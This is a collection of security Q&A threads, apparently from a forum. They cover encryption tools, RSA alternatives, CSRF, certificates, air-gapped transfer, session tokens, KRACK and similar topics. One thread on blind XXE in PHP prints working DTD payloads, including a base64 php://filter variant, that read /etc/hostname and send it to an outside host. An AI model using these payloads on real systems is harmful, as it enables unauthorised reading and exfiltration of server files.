Is Lock-a-Folder a secure and reliable way to encrypt information? What are the properties of Lock-a-folder?

does it create plain-text temporary files anywhere? (e.g. ntfs artifacts, etc)
does it allow running a program from the folder as if it was a normal folder?
is it easy to backup and restore?
does it use a well known format that could be decrypted easily via a custom made program? (say if the apocalypse happens and you no longer have the program)?
other useful info on it?

Basically I want to know if this is a reasonable way to keep my data secure.

Considering that Lock-a-folder is no longer supported by its developers, I would definitely say NO, it is not a safe option for securing data.

  Developer have abandoned this Project and will not reply to any
  queries. You can use this code at your own risk. Anyone interested in
  further development of this project can clone or contribute. https://code.google.com/p/lock-a-folder/

You'll be much better off with a more well known file encryption utility, like one of Truecrypt's successors (like https://veracrypt.codeplex.com/) or GPG.


What if RSA was broken? What will happen to web security if RSA was broken (by a new factorization technique) which is used in (ex: digital certificates)?

Are there any alternatives to RSA? If there are any alternatives, what are they? Are they already implemented as a backup?

The currently popular algorithms fall in three categories:

Based on factoring (RSA, Rabin)
Based on the discrete logarithm problem in finite fields (Diffie-Hellman, DSA,...)
Based on the discrete logarithms problem on elliptic curves (EC-DH, ECDSA,...)

The currently best factoring algorithms and computing discrete logarithms in a finite field are quite similar (number field sieves based on index calculus), so they're likely to fall together. There is currently no known way to apply these algorithms to popular elliptic curves.

All of them share a common weakness: If we get large enough quantum-computers capable of running Shor's algorithm, they all get broken.

There are algorithms using different mathematical problems that are believed to withstand quantum computers. NIST is currently holding a competition to standardize such an algorithm. Many of them come with significant downsides, such as large key/message/signature sizes or patents.

Lattice based - NTRU is an old and well known example, but adoption has been hampered by patents
Code based - McEliece is the best known. Key size is large.
Multivariate-quadratic-equations
Hash signatures - signature only. Simple ones can only be used once. Reusable ones are complex and either produce large signatures or require the signer to keep track how many messages they signed.
Supersingular isogeny key exchange

Most of these algorithms are still experimental, but we should get some usable standardized implementations as the NIST competition progresses.


Are certificates without DNS fundamentally flawed? I am new to security work and I am implementing someone else's design. The design calls for a TCP server with TLS in an environment where there is no DNS - only IPs.

I am working with a typical certificate chain (Self-signed Root cert -> Intermediate cert -> Endpoint cert). The TCP server presents the Endpoint cert to a client which has the public portion of the Intermediate cert pinned in its code. When the client connects, it will check that the Intermediate cert was used to sign the Endpoint cert.

So as I understand it, when the client connects, a key exchange occurs to secure the communication and the client then uses the certificate chain verification to verify that the server really is who it says it is. However, in this scheme, couldn't an impostor just present the certificate after getting it from the real server?

Am I misunderstanding this as a flaw? From my understanding, without DNS names to tie the certificate to, checking the chain (with pinned signed parent certificate or not) is not sufficient. Can anything else be done here?

However, in this scheme, couldn't an impostor just present the
  certificate after getting it from the real server?

An impostor cannot present, and take advantage of, the real server's certificate unless it also has the matching private key.  This is true whether the SAN DNS entry or IP entry are used to identify the certificate being presented.


How to prevent (cookieless) csrf attack? This is a real world scenario. I'm trying to provide all the details necessary.

Summary

A user changes their IP with every request using a cookieless browser. How can I secure their login requests?

Setup

Restful API and thin JS web client
CSRF Token GET Endpoint that generates csrf token which is tied to requesting IP
Login POST Endpoint using parameters email, password and csrf_token
Access-Control-Allow-Origin is set, so responses can only be retrieved from non attacker website. However pre-flight request is not issued as per specs.
There is a request cooldown per IP Address
User using browser that is cookieless and has no local storage
User changing their IP Address every request, e.g. using Tor or Onavo

Problem

Since the IP address changes for every request, the csrf token is never valid and the user can not log in.

We could stop associating the csrf token with the IP. However then we would allow an attacker to generate their own csrf token and send it to the user (which defeats the whole purpose). I.e. the attacker could now rate limit a user in the background and prevent them from logging in when they visit our site.

Question

The only reference I found suggested to use cookies (which we can't do).

What should we best do here to allow the user to log in while still preventing csrf?

So this is a REST-ful API that you're working with and your clients are using browsers that don't support cookies, ergo authentication to your API is done via an Authorization header? And I take it that the contents of this Authorization header are populated per the contents of the response from the login API endpoint?

If this is the case, your API is already protected against CSRF. CSRF against the login endpoint would only work if the response from the server set a cookie within the victim's browser which was then used to authenticate subsequent requests.


Webpage sent me my password in clear text can it be secure? I registered for a webpage years ago and have been using it without issues, today I made some changes to my account and they sent me an email containing my username and password in clear text.

I sent the company an email questioning their password handling procedures, but they claimed it was watertight.

My question is: When they send me my password in clear text does that mean they are actually storing it in cleartext (or in a easily reversible cryptographic way)?

I thought the whole point was that the password was hashed in a non-reversible fashion?

It is not as secure as it most likely should be, though there are occasional justifiable reasons for storing a password in clear-text (for example, unattended third party service access when authorization token's aren't an option).

It is certainly not secure to provide the decrypted password back to the user EVER.


security management and security engineering difference Is there a difference between "security management" and "security engineering"? I read about security engineering in some places and security management in others, but  I really can't find what the difference is between those.

Security Management is more about defining what should be done. For instance you want to have a document classification, compliance, password policy, remote access policy, ... which are preferably technology independant.

Security Engineering is more about implementing all of the defined policies into a technology.


Mechanism used for offline authentication of software To prevent user from downloading bootleg copies of software , users often have to enter a string of hexadecimal numbers which would be used to authenticate the user.

I think the basic idea would be that that the secret key is embedded in the software and a successful authentication occurs when there is a match between the user entered string and the secret key.

I would like to know the actual mechanism behind this idea

What are some other possible mechanism used when the software does not require internet connection to authenticate ??

Thanks

NB: Not sure if this is the correct site for this question , please transfer question to appropriate site where necessary

Your question is a little bit confusing, so I'm not exactly sure what your asking, but I'll have a go.

Sometimes, when you download software, there will be information provided which often looks like a long hex value and sometimes referred to as a checksum or signature. This is a unique value generated by using the software as input to a hashing or checksum function. The output from this process is guaranteed to be the same provided the input is exactly the same. If the input has been changed in any way, the output value will be different. This is essentially an integrity check. If I was making software available for download, I might include this information along with details of how it was generated i.e. SHA1, CRC-32 etc. With that information, you can then use a program to generate the signature or checksum from the downloaded version of the software and see if you get the same value. If you do, then you can be confident the software has not been modified (either by accident during download or by someone being a bit more malicious).

The other place you will see things which can look a bit like a hex string is with software license keys. These are used to ensure that the person using the software is licensed to do so. There are a few ways this can be implemented. For software which is going to be used in an off-line scenario, the general approach is a long key which the software can verify as being a legitimate license key. The key might have a mixture of components, some of which can be verified off-line while others may only be verified on-line or it just might be a very simple algorithm where it just checks that certain bits of information are all in there and in the right position. With an off-line verification, you need to have an approach that doesn't rely on specific user details as there is no way to verify such details. In this case, the verification process is likely just verifying that the key has necessary elements or structure. Normally, the key will be long enough that guessing a valid key is very difficult with a very low probability. Long keys also make it harder for people to share keys, but this is one of the limitations of off-line key verification. With on-line key verification, it is possible for the software to send a query off to a central database which tracks license key use. This database may even record associations of the software and key to prevent the key being used with multiple instances of the software.


What is the thought process behind, Endpoint protection is better than firewalls? I keep reading about, and seeing people post and recommend in the oddest places, that strong endpoint protection is better than having a in-service/supported/receiving security updates firewall.

What is the thought process behind this? Is it scale-able to every size of business?

My concern is bad advice might be given to small businesses that just don't know any better and don't have the budget for monthly fees for endpoint protection software like cylance or the like.

The answer to this question is not easy.  Holistic security is the only answer.  If you're going to be Internet-connected, you need both, plain and simple.  There are ways to minimize exposure but you need to understand threats and how they pertain to what's important on your network.

If you try to rely exclusively on endpoint protection, what about your devices that don't/can't have endpoint protection?  ...printers, cameras, phones, etc. are examples of devices that are commonly exploited in a network where you probably can't layer on endpoint protection.

Conversely, a firewall only protects you at the boundary.  Once an attacker is inside, they often have uninhibited access to the internal network and can then laterally move or escalate to effect whatever outcome they're after.

Each business needs to understand what's important for their company. An ecommerce site has their intellectual property (IP) out in front of the world.  So they leverage reverse proxies, firewalls, code reviews, as well as host-based protections.  A political organization where the users and their information are important would probably focus more heavily on email encryption, attachment sandboxing, disk encryption, AV/AM solutions, etc.

The real answer is that there is no one panacea for security.  It's all about evaluating risk and leveraging resources according to what's important to each organization.

My personal opinion is that architecture is the best answer:  for non-ecommerce companies, keep everything you can on a closed network that never touches the Internet and for those services that require it (email, web, etc.) that be accomplished in a thin/zero client, non-persistent OS that doesn't have access to the corp net.  Any files that need to traverse the Internet-to-closed-net boundary be done by IT staff via a very deliberate process (download, scan, compare hashes, sandbox, move to closed net).  This suggestion has its limits but considering the ratio of attacks and vulnerabilities originating from being connected to the Internet, cordoning it off as much as possible, in my opinion, is the best answer.


One-Way Command Verification Using 2 Private Keys I'm trying to figure out if it is theoretically possible to send one way commands that are 100% verifiable by private keys.

The Idea is simple:
Master wraps verify secret -> inside a public/private key encryption(master only private key)  he then takes this public key, and encrypts it again but with a command AND using a shared private key. soo..

Master - >SECRET > Encrypted (keep private, send public) > Add msg to top > Encrypt with a different pub/priv key, but this time the private key is shared by master and slave.

I'm sure I got some details mixed up. But the idea is simple, using 2 pub/priv keys can a msg be encrypted using one key, and verified by the second key which is found in the un-encrypted version of the original msg.

What I cant figure out, is if the encryption gets weaker this way, by including a form of non-changing salt. And this MUST protect against identity forgery, assuming private keys stay safe.

Can This be done? Is This Crazy Talk?

If I may rephrase your idea

The sender would:

Create a message
Create a payload that includes the message, plus a digital signature created by encrypting the message (or a hash of the message, if it is large) with the sender's private key.
Include the payload plus the sender's public key in an envelope
Encrypt the envelope with the receiver's public key

To read the message, the receiver must:

Decrypt the envelope using the receivers private key
Decrypt the digital signature using the provided public key
Confirm the message (or its hash) and the signature match

The idea being that you get both privacy (because the sender encrypted the message with the receiver's public key) and integrity (because the sender signed the message with a signature that can only be created using the sender's private key).

I am thinking this would mostly work, with one small problem.  Your system lacks any notion of trust. How does the receiver know the public key belongs to the sender? A malicious actor could create a totally different message with a different asymmetric key, right? If you don't know where the message is coming from, all notions of privacy or integrity are completely moot.

Normally, the way you verify a public key belongs to an entity is to leverage the PKI and check the chain of authority. This requires the CA and everything that comes with it.

A different way to deal with this (if you don't want to deal with PKI) is with shared secrets.  You would generate a secret key and provide it to the receiver out of band (e.g. mail them a USB drive). That way you don't have to play all these games, you just straight out encrypt the thing, and assume nobody else can decrypt it.  That sort of approach is very common.


Secure online server -> Airgap transport? I'm facing the issue to develop a system which archives some data, which was available via a web-server some time before (to selected users). Now the question arises on how to securely transport the valuable data from the live / online server to the air-gapped machine (not neccessarily a "true" server, probably without server OS and server HW).

As the data-amounts are rather small (few GB / half-year, one or two DVDs are enough, one large chunk), I thought about burning the data onto DVDs, wiping the encrypted copies from the online-server and re-encrypting the data on the air-gapped machine for long-term storage.

So much for my idea, now the more "formal" requirement:I need to transport the data with minimal risk of infecting the air-gapped machine.Obviously USB-sticks or similar are a bad idea and already have been exploited (thanks BadUSB). I thought DVDs (only once-writeable) are the most secure choice as they deny any sort of back-flowing channel from the archive system to the live-system. I may even mandate the use of some scanning on a secondary machine before the data is to be fed in into the archive.

Please also note that the archive system can't be optimized for availability reasons.

With all this background, my question:
Is there any more secure way of transporting data from an online-system to an airgapped-system than to use DVDs (+ scan-after-burn)?

If you're really that paranoid about your air-gapped systems, you might want to consider using backup tapes.

They include no active part that could be exploited and aren't mounted as a standard file system so that limit the way the data they contain could be exploited.


When is IP blocking OSI level 7 only and what is the purpose of doing so on multiple locations? Let's say there is an application that has IP whitelisting, all other IP's are denied. This check takes place on three different locations:

iptables,
.htaccess,
PHP script.

Now in what OSI layers does those three locations fit? I guess something like:

iptables layer 3 or 4,
.htaccess layer 5,
PHP script layer 7.

I recently saw a case wherein this was applied. Why would someone do this and what are the advantages and disadvantages of doing so? And can one or all of this methods be bypassed with some kind of IP spoofing?

OSI layers do not care where the check happens, but at which layer the information used in the check reside. If the check is doing whitelisting by IP address only it does not matter where the check is configured, because the decision is always purely based on the IP address, i.e. OSI layer 3.

But, depending on the setup and the validation code the check might actually not test against the real source IP of the client but against a claimed source IP. This would be the case if the check was done against the IP address from the X-Forwarded-For or similar HTTP header in the request. Such checks could be done in PHP and probably .htaccess and this would be a check based on information at the application level, i.e. OSI layer 7.

  And can one or all of this methods be bypassed with some kind of IP spoofing?

Bypassing checks based on layer 3 information (IP address) can obviously only be done if you can spoof the layer 3 information. While using a spoofed IP with UDP is easily doable using a spoofed IP address with TCP is nearly impossible because of the 3-way handshake, sequence numbers etc. See also Is it possible to pass TCP handshake with spoofed IP address?

Spoofing layer 7 information (X-Forwarder-For) is easily doable with a custom client.


Why are UNIX-like ACLs not a form of MAC What is the reason for UNIX-like access permissions (both the traditional user-group-others and extended ACLs) being classified as a form of DAC (Discretionary Access Control) system and not MAC (Mandatory AC)?

What would be required for them to be considered being a MAC system?

With UNIX file permissions, access control is at the discretion of the file's owner. The owner may opt for no control on the file (e.g., 0777). This is distinct from mandatory systems, where access control is not simply up to the object's owner.


PHP Blind XXE Exploitation: Invalid URI in Entity When attempting to exploit blind XXE as explained in this article, I got an error in my apache logs:
PHP Warning:  DOMDocument::loadXML(): Invalid URI: http://192.168.6.1/82a3ccab632c in Entity
The DTD file:
<!ENTITY % payload SYSTEM "file:///etc/hostname">
<!ENTITY % remote
"<!ENTITY &#37; send SYSTEM 'http://192.168.6.1/%payload;'>">
%remote;
%send;

The request:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE load SYSTEM "http://192.168.6.1/xxe.dtd">
<root><email>asd</email><password>asd</password></root>

Why can't I send the /etc/hostname?

I found out the issue is that /etc/hostname has a newline at the end. Apparently, while Java applications have no problem with this (as shown in the article), PHP does not accept newlines in URIs.
I confirmed this by creating a file which doesn't contain a newline. I was able to send it successfully.
In fact, you can use the php:// protocol to convert the file's contents to base64 and get around the restriction. Here is the updated payload:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hostname">
<!ENTITY % remote
"<!ENTITY &#37; send SYSTEM 'http://192.168.6.1/%payload;'>">
%remote;
%send;


How would a nation-state provide an API for its citizens to verify their legal identity online? An official nation-state institution, like the Swedish Skatteverk, could easily let their citizens verify themselves online. O-auth tokens could be created by the nation-state institution, generated server-side, and these tokens could be used to verify legal identity within the app-space.

What kind of APIs do nation-states have for this?

Example market: there's a host of services that right now scan people's passports, coinbase.com, snapswap.us, and these could instead use o-auth tokens generated server-side.

an official nation-state institution [...] could easily let their citizens verify themselves online. [...] do any nation-states have APIs for this?

Yes, Germany has, as far as I understand, pretty much what you're describing:

https://www.ausweisapp.bund.de/startseite/

However, I don't think it's foolproof, since identity cards can be stolen on the matter-side, and on the data-side a rogue app could log the data.


Relation between CredSSP and SHA When I disable SHA in registry HKLM\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes\SHA, I am unable into Windows Server 2012 R2 without turning off CredSSP.

This is the confusing part. SHA is disabled as part of my server hardening, and CredSSP is a security protocol, so it should not be affected. Can anyone shed some light on the relation between CredSSP and SHA?

  Context

  CredSSP (Credential Security Support Provider) protocol is a Security Support Provider that is implemented by using the Security Support Provider Interface. CredSSP lets an application delegate the user's credentials from the client to the target server for remote authentication. CredSSP provides an encrypted TLS Protocol channel.

  To turn off CredSSP, either use a RDP app, or add these two lines into the
  RDP connection file:

  enablecredsspsupport:i:0
  authentication level:i:0

Update

I just found out that my RDP connection's signature hash algorithm is sha1. This is the only relation I have found out so far. Happy to have more insights from people with experience in this.

The "SHA" module in Windows Server is the module that identifies, compares and processes SHA signatures, just as much as the connection you're using.

RDP uses the SHA module to identify and compare showed and received files to ensure integrity, as example.

Without the SHA module, RDP indeed doesn't work, since it depends on it being there.


Is .NET XmlSerializer.Deserialize(TextReader) safe? Is the .NET method XmlSerializer.Deserialize(TextReader) safe from XML vulnerabilities (XXE, XmlBomb etc..)? Will the DTD be processed during deserialization?

I can understand why XmlSerializer.Deserialize(XmlTextReader) can be unsafe if XmlTextReader.DtdProcessing is set to DtdProcessing.Parse. But is it also unsafe when we use a TextReader?

Took a peek into the XmlSerializer.Deserialize code

XmlSerializer.Deserialize(TextReader) internally calls the other override - XmlSerializer.Deserialize(XmlTextReader) with XmlResolver set to null, so it should be safe from XXE attacks, however if do you want to disable dtd processing altogether, below should be used instead.

var xmlTextReader = new XmlTextReader(xmlInput) { DtdProcessing = DtdProcessing.Ignore/Prohibit };
xmlSerializer.Deserialize(xmlTextReader);

However, I don't see any benefit in disabling DTD processing altogether(especially when it could potentially impact your time tested code). From my understanding, there are only two xml attacks - XXE & XmlBomb.

As previously mentioned, XXE should not be possible because XmlResolver is set to null.

XmlBomb should also be not possible because MaxCharactersFromEntities is set to a limited value instead of 0(0 means no limit).
If you do try this attack, you'll face an exception saying - "The input document has exceeded a limit set by MaxCharactersFromEntities." instead of having the application crash or have a DoS attack.


Java UUID.randomUUID() or SecureRandom for id segment on URL? In building a Java based system that needs unique identifiers on the URL, is UUID.randomUUID() or SecureRandom a better choice?

More specifically, a call to POST /items will return a 201 Created with a Location to the newly created /items/{id} where {id} is a random string and the URL is intended to be used by anonymous HTTP requests for a limited time window.

This code returns a 22 character string (e.g. B-KEPLFdWNZ4JTUnnEq3Og) with 128 bits of randomness.

SecureRandom random = new SecureRandom();
byte bytes[] = new byte[16];
random.nextBytes(bytes);
Encoder encoder = Base64.getUrlEncoder().withoutPadding();
String token = encoder.encodeToString(bytes);
System.out.println(token);

UUID.randomUUID() is a "Static factory to retrieve a type 4 (pseudo randomly generated) UUID. The UUID is generated using a cryptographically strong pseudo random number generator."  This code returns a 36 character string (e.g. f0803ce7-8e3d-421a-8126-e5a0bd0a865f) with 122 bits of randomness.

UUID randomUUID = UUID.randomUUID();
System.out.println(randomUUID);

These identifiers will also be persisted in a relational database as a fixed length CHAR type.

In terms of the raw amount of random bits, yes.

Looking at the source for Java's random UUID generation, you can see they actually utilize the SecureRandom class to generate the raw bytes.  So, the 'quality' of your randomness isn't going to change.

The fact that you have 6 more bits does, technically, make it more difficult to brute force a duplicate.  Wikipedia's article on UUID has a good description of the math behind it.  To quote it:

  [A]fter generating 1 billion UUIDs every second for the next 100 years, the probability of creating just one duplicate would be about 50%

If these links are going to expire in, say, 24 hours, this is a very small thing to worry about, and that's only with 122 bits.

Now, is more bits going to make it harder for an attacker to brute force a collision?  Sure!  Is it worth it?  Maybe... but maybe not.  Only you can really decide what's right for your use case.

When you get to the point where brute forcing a collision would, on average, take longer than the time for the estimated heat death of the universe, it might be a little overboard.  That's getting to the territory of needing to worry more about hackers compromising the security of your storage more than brute forcing (and, honestly, even with UUIDs, you're going to have that problem).  Ultimately, the difficulty of brute forcing doesn't matter if they can find another way in.  If you're really worried, storage is cheap - store 256 bit strings that you generate with a SecureRandom and call it good, but make sure you have proper security around everything else, or it's useless.


Is a session token enough for critical applications So for years I have been using various user checks on top of the session token they are issued to maximise security.

I am now looking at developing a session system across separate servers and am wondering whether this is still relevant.

Considering Oauth does not use any of these extra checks and is widely used, can a session token on it's own been thought to be reliable? Google and Facebook would appear to think so.

The extra checks such as IP and user browser information can all be stolen just as easily as cookie if that line of attack exists.

So will it be ok to concentrate on well formed session tokens as opposed to adding the extra measures.

This page lists the typical extra measures used PHP session security

Before I get jumped on, I understand how Oauth works, but ultimately it results in a single session token for validation once the session exists.

If you use cookies to store session ID's just make sure it is set in a cookie with the Secure and HttpOnly attribute. Restrict the domain and path attributes as much as possible. Make sure no untrusted web application is hosted on a related domain who could launch a session fixation attack. Set a reasonable expiration time for the session. Serve all your pages over HTTPS since mixed content might leak your session ID. Try to limit the externally loaded JavaScript libraries to minimize the attack surface.
Some application servers like Tomcat allow you to use SSL session ID's instead of session ID's stored in cookies. These SSL session ID's are better protected but you should be able to share the SSL session over multiple servers in your case.
A lot more tips can be found here: Session Management Cheat Sheet
EDIT:
They are no working on binding tokens like session ID's to a client via public-private key and signing. Read the RFC here. It will take some time before it will be adopted by the major browser vendors but as far as binding a session ID to a client goes, this seems to solve all the issues. Of course there is some key generation and signing overhead and you require client support for this to work.


Which private-key encryption should I use for server to server communication? I am tempted to write my own which covers:

Checksum to ensure data is not tampered with.
Long and multiple rotating keys so that it is (practically) impossible to decrypt.
Will use /dev/random for the initial seed

Other more elusive items that likely won't be addressed:

Based on the size chunks of data and connection pattern, an interceptor can guess things about the data without seeing the data; what protocol, how is it being used.
Source and destination IPs give an identity clue.
TCP and IP headers are liable to contain OS information.

Although I am very confident,, there is a risk that there is something I am missing that I may never realize: Lessons learned and misconceptions regarding encryption and cryptology

So what would I use if I was to avoid writing my own? The important factors are

Speed
Checksum
I would like to know how much data it takes before the key runs out and is going to be re-used.

Or is writing my own encryption is a good idea in this case?

Writing your own encryption is never a good idea. Even trained cryptographers (I mean people who have studied the subject for years, have a big shining diploma [a PhD] to say it, and, more importantly, have done and published actual research) do not think about using an algorithm or protocol that they have designed before having submitted it for inspection by their peers for several years.

On the more anecdotal:

"Checksum" is a large term; cryptographers prefer Message Authentication Code, which is much more precise.
"Long and multiple rotating keys": this sounds like a Dan Brown novel, and, security-wise, that's not a good thing.
Do not use /dev/random, use /dev/urandom.
"How much data it takes before the key runs out and is going to be re-used": this sentence makes sense only if you consider the kind of encryption systems that were used during World War I, that is, before the invention of the computer.

I do not know of any kind way of stating this: you feel confident, but you really should not.

Use TLS (the new, standard name for SSL).


What can my university see by installing a CA root certificate on my computer, even when I'm using a VPN? To use the wifi at my university, you must install a CA root certificate by them. In my case, I am using a Mac computer with a VPN installed.

I'm curious, what can they see me do on my computer by forcing me to install their certificate? Can they see my login information to websites? Can they see what websites I visit, even though I'm using a VPN? If so, is there anything I can do to prevent this. I do not know much about certificates, so it caught my attention.

Also, they use Googles DNS 8.8.8.8 and a couple DNS's that start with 208.

Thanks for any information.

From your description, you don't seem to have installed a new CA at all; you accepted a certificate to authenticate the wireless network, or accepted an already-installed CA to verify certificates to authenticate that network. This is not a security risk; it's fairly normal, does not let the university sign their own certificates, and does not let them impersonate websites. All it does is verify the identity of the server that processes your credentials that you used to log on to the wireless network.

Some background: Many universities use WPA/WPA2 Enterprise security, which involves logging in to the wifi network with your university username and password (entered into the wifi client, not a web browser). In such cases, the authentication server (called a RADIUS server) needs to verify its identity, which it does with a certificate, just like for websites.

For websites, a CA can verify a certificate for a particular domain. However, there's no good way to do that for RADIUS servers; I might have a legitimate certificate for radius.cpast.com, but that doesn't mean you should trust my RADIUS server when connecting to SchoolWifi. So, it's pretty common to be prompted to manually accept the certificate for the wireless network. This is not a security risk; you aren't accepting a university-controlled CA, you're accepting a particular certificate for that specific wifi network.

(Windows does it a bit differently: you do accept a (already-installed) CA for the wireless network, but it also remembers the RADIUS server's domain, so trying to pass off radius.cpast.com for SchoolWifi wouldn't work because Windows would only accept certificates for radius.school.edu and from a particular CA that the user accepted when first connecting).

So it's not unusual to get a certificate prompt, and it's not generally a security risk to accept it.

EDIT: With your comments, it's even clearer that this is what's happening. Thawte is a generally trusted CA; common browsers and OSs already trust it to verify a website. It comes preinstalled on your computer, because Apple trusts them. However, it is not trusted to verify a RADIUS server by default, so you're manually accepting the school's certificate.


Handling of 3rd party OAuth2 tokens after some extensive research I still don't know how to properly implement the following case. I think this question answers something similar, but I'm not 100% sure (Should client have access to 3rd party API access token?).

Let's say I have my resource server (my-api.com), my identity provider and authorization server (my-idp.com) and have an client app (native or browser) (com.my-app).

The standard use-case is implemented with the authorization grant flow.

I now have a new use-case, where I need to request data from a 3rd party resource server (other-api.com). The 3rd party has an identity provider as well and offers OAuth 2.0 authorization and OpenID authentication flows.
Resource owners of the 3rd party need to give their consent to my application so I can request their data and further use it in my application.

My questions are the following:

Is the on-behalf-flow what I need? It seems to be for two APIs which I control, not for 3rd party APIs.

How do I handle the 3rd party access, refresh and id token to make requests on-behalf of the resource owner?

I could store the 3rd party tokens in my-api.com and append it to every request I do to request data for my user?
I could store the 3rd party tokens in my-idp.com next to my user information?
I could send the 3rd party tokens to com.my-app which would result in two tokens for each party. This seems to be awkward.

I would go for option 2 and would extend the functionality of my-idp.com. Is this a valid approach? My API my-api.com would then fetch the 3rd party tokens before it does requests on-behalf of my user.

Thanks.

You're going to need to go through the authorization grant flow again with the 3rd party resource and identity provider in the same way you did with your initial resource and idp.


how unsafe is it for Windows webserver IIS to have domain privileges Normally in the past, I've managed that the production server only serves http(s) to the internet, and is isolated from it's database by a firewall which only allows database queries to travel.  However, I have a situation where a bunch of workers using MS office manipulate files living on a domain.  These files also need to be served to customers, so I was thinking that the webserver could have domain privileges such that it could access the folders with those files and only those folders.  Obviously this means that the filewall separating the webserver from the domain would need to allow a bunch of ports, for being authenticated to the domain, file sharing, etc.  How unsafe is this?  Any advice on how to make it better?  It'd be IIS 7.5 running on 2008.

This generally isn't much of a problem.  Lots of people need to do this.  There is a good discussion on the IIS forums here: http://forums.iis.net/t/1175096.aspx

There is also a good high level overview on TechNet: http://technet.microsoft.com/en-us/library/cc731278(WS.10).aspx

And the ports required for Windows Auth: http://support.microsoft.com/kb/832017


How integrity is compromised if forward secrecy is not enabled in TLS communication? If TLS communication uses ciphers that does not support forward secrecy[FS] (like RSA key exchange ciphers), confidentiality of the past communication is compromised if the private key is compromised. But will the integrity also gets compromised in this scenario? I got this doubt after seeing the CVSS scoring in this link. Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N - The severity of integrity compromise is given as Low. Could anyone explain how integrity is getting affected in the absence of FS?

Generally, the integrity wouldn't be impacted. Usually it can't be, really, since the communication was presumably recorded some time ago. However, the symmetric key used for integrity (HMACs or AEAD modes) is exposed, and that could be a meaningful impact in some specific cases.

The attacker has a man-in-the-middle position on an ongoing TLS channel, and compromised the private key after the TLS handshake but recorded the handshake and encrypted traffic. In this case, the attacker can now modify or forge messages that the recipient (client or server) will think are genuine.
Attacker has recorded a TLS session and then (without the victim's knowledge) compromised the private key. The attacker can decrypt and modify the recording, and re-encrypt with patched integrity codes. This recording could then be offered to the victim (or any other party with access to either the private key or the ephemeral symmetric key), with the attacker claiming that it is genuine ("after all, if I changed anything the integrity codes wouldn't verify") in order to "prove" something was/wasn't sent. (As a side note: since the "legitimate" traffic thus "recorded" would effectively be authenticated by the certificate used in the key exchange, it would effectively prevent repudiation by the server, if the server owner were compelled to produce the key. This generally isn't a consideration of TLS, but could be relevant in some cases.)


Can a detached hard disk reveal the system information of machine from which the hard disk is detached? Can an internal hard disk (on which Ubuntu or any other OS is installed) that I detached from the PC or laptop (Keeping the OS as it is) and connected to some other PC or machine reveal the info of the PC from which the hard disk was detached? Is there any log file that holds this information?

For Linux-based operating systems, very much so.  The kernel prints out a detailed hardware summary during the startup process, which typically gets written to the system log.  For example, some excerpts from my computer's log:

Memory: 32877348k/34603008k available (3933k kernel code, 1126392k absent, 599268k reserved, 1997k data, 576k init)
...
CPU0: Intel(R) Core(TM) i7-3930K CPU @ 3.20GHz stepping 07
...
pci 0000:00:00.0: [8086:3c00] type 0 class 0x000600
pci 0000:00:01.0: [8086:3c02] type 1 class 0x000604
pci 0000:00:01.1: [8086:3c03] type 1 class 0x000604
pci 0000:00:02.0: [8086:3c04] type 1 class 0x000604

CPU, memory, expansion cards, peripherals, virtually any autodetectable hardware connected to your computer will be listed there.


Is WPA2-Enterprise affected by the KRACK attack? From my reading of the whitepaper it is the 4-way handshake that is vulnerable, but WPA2-Enterprise uses a RADIUS server for authentication, so is it also exploitable? And if so, how?

Yes it is exploitable. WPA Enterprise still relies on a 4-way handshake. The main difference between enterprise and non enterprise is how the client is authenticated, which is not the same as how the connection is finally encrypted-- although there is a slight difference at the start of the process, it doesn't prevent the vulnerability. The main exploit has to do with step three of the 4-way handshake, and the difference between Enterprise and non-Enterprise is at step one.

Here's the excerpt from the paper (emphasis added):

  2.3 The 4-way Handshake
  The 4-way handshake provides mutual authentication based on a shared secret called the Pairwise Master Key (PMK), and negotiates a fresh session key called the Pairwise Transient Key (PTK). During this handshake, the client is called the supplicant, and the AP is called the authenticator (we use these terms as synonyms). The PMK is derived from a pre-shared password in a personal network, and is negotiated using an 802.1x authentication stage in an enter- prise network (see Figure 2). The PTK is derived from the PMK, Authenticator Nonce (ANonce), Supplicant Nonce (SNonce), and the MAC addresses of both the supplicant and authenticator. Once generated, the PTK is split into a Key Con rmation Key (KCK), Key Encryption Key (KEK), and Temporal Key (TK). The KCK and KEK are used to protect handshake messages, while the TK is used to protect normal data frames with a data-con dentiality protocol. If WPA2 is used, the 4-way handshake also transports the current Group Temporal Key (GTK) to the supplicant.


How does a router calculate the amount of data used per device? I'm using WiFi of the firm I work for and they only allow an employee to use 30 GBs of data in a month. Now, based on the answer to this question, I wonder if I encrypt my traffic, would the firm still be able to calculate the amount of data I use?

A router doesn't need to inspect the actual traffic being sent to know how much is being sent.

So no, encryption probably wouldn't help in this case. Presumably they are monitoring your total traffic, rather than trying to block downloading on specific files based on headers (as in the linked question). Encryption can hide what exactly you are doing, but they can still see how much encrypted traffic you are sending/receiving.

The only way I could see this working is if for some reason they were monitoring the HTTP response headers for the Content-Length and basing your total traffic solely on that. I would be very surprised if this were the case.


How to use encryption on a site that only uses an IP address, no domain name? You can use SSL/TLS certificates and etc. on sites with domain names, but I don't know if it's possible to use them for IP addresses. If this is the case, would I have to use a self-signed cert and install it in the browser? This only needs to work for specific client browsers, so it is feasible to install self-signed certificates if necessary.

The only obligation is that the content of the certificate's Common Name (CN) field must be equal to the host name part of your URL.

So, if you want to protect a URL such as https://192.0.2.123/path/to/resource, then your browser will expect a certificate with a Common Name set to 192.0.2.123. No problem if it is a an IP address instead of a Fully Qualified Domain Name (FQDN).

Regarding the Certification Authorities, they may add supplementary requirements for such a request (for instance you will most probably need to own the IP address, ie. it must be a public IP address assigned to you on the RIPE registry or the local equivalent and not a local or a loaned one). So if you don't really need this you may prefer to go with a self-signed one.

As a side note, while using CN fields is the traditional and most widely compatible way to do this, it is now deprecating in favor of using Subject Alternate Names (SAN).


Possible to detect and log CORS and preflight requests in IIS? I'd like to track and understand if CORS/cross site requests are hitting my website, and if they are succeeding or failing.

My goal is to understand if clients are following our documentation correctly, and to detect attempts at hacking our site from a 3rd party.

I don't know if there is any value in reporting separately on a "preflight" CORS request versus a normal request, but it would be interesting to observe the result.

That being said,

What needs to be logged in normal IIS logs to detect this CORS and preflight requests?
Is any application-specific logging required?  (logic in the web app itself to supplement the IIS logs)

Well, there are two types of cross sites requests.  One would be from your web pages to a separate domain and the other would be from outside domain web pages to your website.

